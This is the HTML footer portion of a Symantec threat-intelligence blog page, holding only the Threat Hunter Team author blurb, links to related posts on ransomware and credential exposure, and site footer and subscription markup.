class="blog-author__name">Threat Hunter Team</h3><h4 _ngcontent-ng-c1463587007 class="blog-author__position">Symantec</h4><!----></header><p _ngcontent-ng-c1463587007>The Threat Hunter Team is a group of security experts within Symantec whose mission is to investigate targeted attacks, drive enhanced protection in Symantec products, and offer analysis that helps customers respond to attacks.</p><!----></div></div><!----></app-blog-author><!----></div><!----><!----><div class="blog-post__comment"><header><h2 class="blog-post__comment-title"><span class="ng-fa-icon"><app-svg-icon><svg width="28px" height="32px" fill="white"><use href="/assets/icomoon/share-alt.svg#share-alt"/></svg></app-svg-icon></span>Want to comment on this post?</h2></header><p>We encourage you to share your thoughts on your favorite social platform.</p><div class="social-list"><!----></div><!----></div></div></article></main></div><div class="related-blog-posts related-blog-posts__blog-post"><div class="inner"><header><h2 class="related-blog-posts__title"><app-svg-icon><svg width="41px" height="41px" fill="white"><use href="/assets/icomoon/compass.svg#compass"/></svg></app-svg-icon>Related Blog Posts</h2></header><div class="related-blog-posts__list"><app-related-blog-posts class="related-blog-posts__item" _nghost-ng-c2755620283><a _ngcontent-ng-c2755620283 class="related-blog-posts__link" href="/threat-intelligence/exposing-danger-within-hardcoded-cloud-credentials-popular-mobile-apps"><figure _ngcontent-ng-c2755620283 app-picture class="related-blog-posts__image"><!----><picture><source srcset="https://symantec-enterprise-blogs.security.com/sites/default/files/styles/blogs_hero_related_large/public/2024-09/Hero-5146-1692015061.jpg.webp?h=cf8b8db7&itok=iYHgAbmY 1x, https://symantec-enterprise-blogs.security.com/sites/default/files/styles/blogs_hero_related_large_2x/public/2024-09/Hero-5146-1692015061.jpg.webp?h=cf8b8db7&itok=b_DFRF9m 2x" media="(min-width: 1020px)"><source srcset="https://symantec-enterprise-blogs.security.com/sites/default/files/styles/blogs_hero_related_medium/public/2024-09/Hero-5146-1692015061.jpg.webp?h=cf8b8db7&itok=3fQs4V6k 1x, https://symantec-enterprise-blogs.security.com/sites/default/files/styles/blogs_hero_related_medium_2x/public/2024-09/Hero-5146-1692015061.jpg.webp?h=cf8b8db7&itok=2nRFFU63 2x" media="(min-width: 720px)"><source srcset="https://symantec-enterprise-blogs.security.com/sites/default/files/styles/blogs_hero_related_small/public/2024-09/Hero-5146-1692015061.jpg.webp?h=cf8b8db7&itok=oFEhfP8f 1x, https://symantec-enterprise-blogs.security.com/sites/default/files/styles/blogs_hero_related_small_2x/public/2024-09/Hero-5146-1692015061.jpg.webp?h=cf8b8db7&itok=p9G1HkMy 2x" media="(min-width: 420px)"><!----><img src="https://symantec-enterprise-blogs.security.com/sites/default/files/styles/blogs_hero_related_small/public/2024-09/Hero-5146-1692015061.jpg.webp?h=cf8b8db7&itok=oFEhfP8f" alt></picture><!----><!----><!----><!----></figure><!----><div _ngcontent-ng-c2755620283 class="meta"><span _ngcontent-ng-c2755620283 class="meta__date">Posted: <time _ngcontent-ng-c2755620283>22 Oct, 2024</time></span><span _ngcontent-ng-c2755620283 class="meta__time-to-read">5 Min Read</span></div><h3 _ngcontent-ng-c2755620283 class="related-blog-posts__post-title">Exposing the Danger Within: Hardcoded Cloud Credentials in Popular Mobile Apps</h3><!----></a><!----><!----></app-related-blog-posts><app-related-blog-posts class="related-blog-posts__item" _nghost-ng-c2755620283><a _ngcontent-ng-c2755620283 class="related-blog-posts__link" href="/threat-intelligence/ransomware-threat-level-remains-high"><figure _ngcontent-ng-c2755620283 app-picture class="related-blog-posts__image"><!----><picture><source srcset="https://symantec-enterprise-blogs.security.com/sites/default/files/styles/blogs_hero_related_large/public/2024-10/Hero-1391259216.jpg.webp?h=cb89afd7&itok=pMI6I7wj 1x, https://symantec-enterprise-blogs.security.com/sites/default/files/styles/blogs_hero_related_large_2x/public/2024-10/Hero-1391259216.jpg.webp?h=cb89afd7&itok=FH7hIMWK 2x" media="(min-width: 1020px)"><source srcset="https://symantec-enterprise-blogs.security.com/sites/default/files/styles/blogs_hero_related_medium/public/2024-10/Hero-1391259216.jpg.webp?h=cb89afd7&itok=T_j4Sc3g 1x, https://symantec-enterprise-blogs.security.com/sites/default/files/styles/blogs_hero_related_medium_2x/public/2024-10/Hero-1391259216.jpg.webp?h=cb89afd7&itok=wN5FFXv5 2x" media="(min-width: 720px)"><source srcset="https://symantec-enterprise-blogs.security.com/sites/default/files/styles/blogs_hero_related_small/public/2024-10/Hero-1391259216.jpg.webp?h=cb89afd7&itok=Oz0ybbss 1x, https://symantec-enterprise-blogs.security.com/sites/default/files/styles/blogs_hero_related_small_2x/public/2024-10/Hero-1391259216.jpg.webp?h=cb89afd7&itok=QP-mqPaJ 2x" media="(min-width: 420px)"><!----><img src="https://symantec-enterprise-blogs.security.com/sites/default/files/styles/blogs_hero_related_small/public/2024-10/Hero-1391259216.jpg.webp?h=cb89afd7&itok=Oz0ybbss" alt></picture><!----><!----><!----><!----></figure><!----><div _ngcontent-ng-c2755620283 class="meta"><span _ngcontent-ng-c2755620283 class="meta__date">Posted: <time _ngcontent-ng-c2755620283>17 Oct, 2024</time></span><span _ngcontent-ng-c2755620283 class="meta__time-to-read">3 Min Read</span></div><h3 _ngcontent-ng-c2755620283 class="related-blog-posts__post-title">Ransomware: Threat Level Remains High in Third Quarter</h3><!----></a><!----><!----></app-related-blog-posts><app-related-blog-posts class="related-blog-posts__item" _nghost-ng-c2755620283><a _ngcontent-ng-c2755620283 class="related-blog-posts__link" href="/threat-intelligence/stonefly-north-korea-extortion"><figure _ngcontent-ng-c2755620283 app-picture class="related-blog-posts__image"><!----><picture><source srcset="https://symantec-enterprise-blogs.security.com/sites/default/files/styles/blogs_hero_related_large/public/2024-10/Hero-1297658354.jpg.webp?h=d84c61f6&itok=vksmHY4s 1x, https://symantec-enterprise-blogs.security.com/sites/default/files/styles/blogs_hero_related_large_2x/public/2024-10/Hero-1297658354.jpg.webp?h=d84c61f6&itok=N4j2BoZs 2x" media="(min-width: 1020px)"><source srcset="https://symantec-enterprise-blogs.security.com/sites/default/files/styles/blogs_hero_related_medium/public/2024-10/Hero-1297658354.jpg.webp?h=d84c61f6&itok=q5ATTsGO 1x, https://symantec-enterprise-blogs.security.com/sites/default/files/styles/blogs_hero_related_medium_2x/public/2024-10/Hero-1297658354.jpg.webp?h=d84c61f6&itok=rGtcjmPg 2x" media="(min-width: 720px)"><source srcset="https://symantec-enterprise-blogs.security.com/sites/default/files/styles/blogs_hero_related_small/public/2024-10/Hero-1297658354.jpg.webp?h=d84c61f6&itok=hmcfadiO 1x, https://symantec-enterprise-blogs.security.com/sites/default/files/styles/blogs_hero_related_small_2x/public/2024-10/Hero-1297658354.jpg.webp?h=d84c61f6&itok=Qb7phQDQ 2x" media="(min-width: 420px)"><!----><img src="https://symantec-enterprise-blogs.security.com/sites/default/files/styles/blogs_hero_related_small/public/2024-10/Hero-1297658354.jpg.webp?h=d84c61f6&itok=hmcfadiO" alt></picture><!----><!----><!----><!----></figure><!----><div _ngcontent-ng-c2755620283 class="meta"><span _ngcontent-ng-c2755620283 class="meta__date">Posted: <time _ngcontent-ng-c2755620283>2 Oct, 2024</time></span><span _ngcontent-ng-c2755620283 class="meta__time-to-read">5 Min Read</span></div><h3 _ngcontent-ng-c2755620283 class="related-blog-posts__post-title">Stonefly: Extortion Attacks Continue Against U.S. Targets</h3><!----></a><!----><!----></app-related-blog-posts><app-related-blog-posts class="related-blog-posts__item" _nghost-ng-c2755620283><a _ngcontent-ng-c2755620283 class="related-blog-posts__link" href="/threat-intelligence/ransomware-attacks-rebound"><figure _ngcontent-ng-c2755620283 app-picture class="related-blog-posts__image"><!----><picture><source srcset="https://symantec-enterprise-blogs.security.com/sites/default/files/styles/blogs_hero_related_large/public/2024-09/Hero-1390128620.jpg.webp?h=cb89afd7&itok=jxPeOfTT 1x, https://symantec-enterprise-blogs.security.com/sites/default/files/styles/blogs_hero_related_large_2x/public/2024-09/Hero-1390128620.jpg.webp?h=cb89afd7&itok=xLl-V5G3 2x" media="(min-width: 1020px)"><source srcset="https://symantec-enterprise-blogs.security.com/sites/default/files/styles/blogs_hero_related_medium/public/2024-09/Hero-1390128620.jpg.webp?h=cb89afd7&itok=yFA0lyEF 1x, https://symantec-enterprise-blogs.security.com/sites/default/files/styles/blogs_hero_related_medium_2x/public/2024-09/Hero-1390128620.jpg.webp?h=cb89afd7&itok=WeMRh4ZT 2x" media="(min-width: 720px)"><source srcset="https://symantec-enterprise-blogs.security.com/sites/default/files/styles/blogs_hero_related_small/public/2024-09/Hero-1390128620.jpg.webp?h=cb89afd7&itok=qjTNIFri 1x, https://symantec-enterprise-blogs.security.com/sites/default/files/styles/blogs_hero_related_small_2x/public/2024-09/Hero-1390128620.jpg.webp?h=cb89afd7&itok=Vx8w3QlW 2x" media="(min-width: 420px)"><!----><img src="https://symantec-enterprise-blogs.security.com/sites/default/files/styles/blogs_hero_related_small/public/2024-09/Hero-1390128620.jpg.webp?h=cb89afd7&itok=qjTNIFri" alt></picture><!----><!----><!----><!----></figure><!----><div _ngcontent-ng-c2755620283 class="meta"><span _ngcontent-ng-c2755620283 class="meta__date">Posted: <time _ngcontent-ng-c2755620283>12 Sep, 2024</time></span><span _ngcontent-ng-c2755620283 class="meta__time-to-read">3 Min Read</span></div><h3 _ngcontent-ng-c2755620283 class="related-blog-posts__post-title">Ransomware: Attacks Once More Nearing Peak Levels</h3><!----></a><!----><!----></app-related-blog-posts><!----></div></div></div><!----></div></app-blog-post><!----><footer class="footer"><div class="footer-inner"><div class="footer-column footer-column__first"><app-subscribe-button class="subscribe-email__wrapper" _nghost-ng-c522619384><button _ngcontent-ng-c522619384 class="subscribe-email"><app-svg-icon _ngcontent-ng-c522619384><svg width="25px" height="25px" fill="white"><use href="/assets/icomoon/envelope.svg#envelope"/></svg></app-svg-icon> Subscribe</button></app-subscribe-button><div class="social-list"><div class="social-list__label">Follow</div><app-social-list-item class="social-list__item"><a title="twitter" href="https://twitter.com/BroadcomSW"><app-svg-icon><svg width="25px" height="25px" fill="white"><use href="/assets/icomoon/twitter.svg#twitter"/></svg></app-svg-icon><span>twitter</span></a><!----></app-social-list-item><app-social-list-item class="social-list__item"><a title="linkedin" href="https://www.linkedin.com/company/symantec"><app-svg-icon><svg width="25px" height="25px" fill="white"><use href="/assets/icomoon/linkedin.svg#linkedin"/></svg></app-svg-icon><span>linkedin</span></a><!----></app-social-list-item><!----></div><!----></div><div class="footer-column footer-column__last"><ul class="footer-menu__list"><li class="footer-menu__item"><a href="https://www.broadcom.com/company/legal/privacy-policy" target="_blank" rel="noopener">Privacy Policy</a></li><li class="footer-menu__item"><a href="https://www.broadcom.com/company/legal/cookie-policy" target="_blank" rel="noopener">Cookie Policy</a></li><li class="footer-menu__item"><a href="https://www.broadcom.com/company/legal/ca/data-transfers" target="_blank" rel="noopener">Data Processing and Data Transfers</a></li><li class="footer-menu__item"><a href="https://www.broadcom.com/company/citizenship/supplier-responsibility" target="_blank" rel="noopener">Supplier Responsibility</a></li><li class="footer-menu__item"><a href="https://www.broadcom.com/company/legal/terms-of-use/" target="_blank" rel="noopener">Terms of Use</a></li><li class="footer-menu__item"><a href="https://www.broadcom.com/sitemap" target="_blank" rel="noopener">Sitemap</a></li></ul><div class="footer-copyright">Copyright © 2005-2024 Broadcom. All Rights Reserved. The term "Broadcom" refers to Broadcom Inc. and/or its subsidiaries.</div></div></div></footer></div><app-subscribe-form-modal _nghost-ng-c2898968854><div _ngcontent-ng-c2898968854 class="modal"><div _ngcontent-ng-c2898968854 class="modal__inner"><div _ngcontent-ng-c2898968854 class="modal__content"><div _ngcontent-ng-c2898968854 class="modal__envelope-icon"><app-svg-icon _ngcontent-ng-c2898968854 class="'page-unsubscribed__icon'"><svg width="25px" height="25px" fill="white" class="'page-unsubscribed__icon'"><use href="/assets/icomoon/envelope.svg#envelope"/></svg></app-svg-icon></div><h2 _ngcontent-ng-c2898968854 class="modal__title">Get Broadcom Software and Symantec Enterprise Latest Blog Posts <em _ngcontent-ng-c2898968854>In Your Inbox</em></h2><form _ngcontent-ng-c2898968854 novalidate class="subscribe-form ng-untouched ng-pristine ng-invalid"><!----><div _ngcontent-ng-c2898968854 class="form-fields"><div _ngcontent-ng-c2898968854 class="form-item subscribe-form-tos"><input _ngcontent-ng-c2898968854 type="checkbox" name="termsAccept"> I accept the <a _ngcontent-ng-c2898968854 target="_self" href="https://www.broadcom.com/company/legal/terms-of-use/">Terms of Use</a>. Your privacy is important to us. Please see our <a _ngcontent-ng-c2898968854 target="_self" href="https://www.broadcom.com/company/legal/privacy-policy">Privacy Policy</a> for more information. </div><div _ngcontent-ng-c2898968854 class="form-item"><input _ngcontent-ng-c2898968854 formcontrolname="subscriberEmail" type="email" maxlength="255" name="subscribe" size="20" value title="Enter your email address" placeholder="Enter your email address" class="subscribe-form__email ng-untouched ng-pristine ng-valid"></div><div _ngcontent-ng-c2898968854 class="form-item"><re-captcha _ngcontent-ng-c2898968854 formcontrolname="recaptcha" id="ngrecaptcha-809" class="ng-untouched ng-pristine ng-invalid"></re-captcha></div><!----><button _ngcontent-ng-c2898968854 class="form-submit" disabled><app-svg-icon _ngcontent-ng-c2898968854 class="'page-unsubscribed__icon'"><svg width="25px" height="25px" fill="white" class="'page-unsubscribed__icon'"><use href="/assets/icomoon/envelope.svg#envelope"/></svg></app-svg-icon> Subscribe</button><button _ngcontent-ng-c2898968854 class="form-submit form-submit__submitted hidden"><app-svg-icon _ngcontent-ng-c2898968854><svg width="25px" height="25px" fill="white"><use href="/assets/icomoon/check.svg#check"/></svg></app-svg-icon> Submitted</button><!----><!----></div></form><button _ngcontent-ng-c2898968854 class="modal__close"><span _ngcontent-ng-c2898968854>Close</span></button></div><!----></div></div></app-subscribe-form-modal></app-root> <!-- Google Tag Manager (noscript) --> <noscript><iframe src="https://www.googletagmanager.com/ns.html?id=GTM-KF7XWD" height="0" width="0" style="display:none;visibility:hidden"></iframe></noscript> <!-- End Google Tag Manager (noscript) --> <script src="/runtime.aaa123a689011f12.js" type="module"></script><script src="/polyfills.9d7bfab4546d8af7.js" type="module"></script><script src="/main.1446b01bc0ad3843.js" type="module"></script> <script id="ng-state" type="application/json">{"appConfig":{"applicationHash":"IOTVy1","apiHost":"https://symantec-enterprise-blogs.security.com/blogs","cspReportOnly":false,"cmsSiteId":"0ea78691-3b54-45e2-bd5f-b45ee9a86226"}}</script></body></html>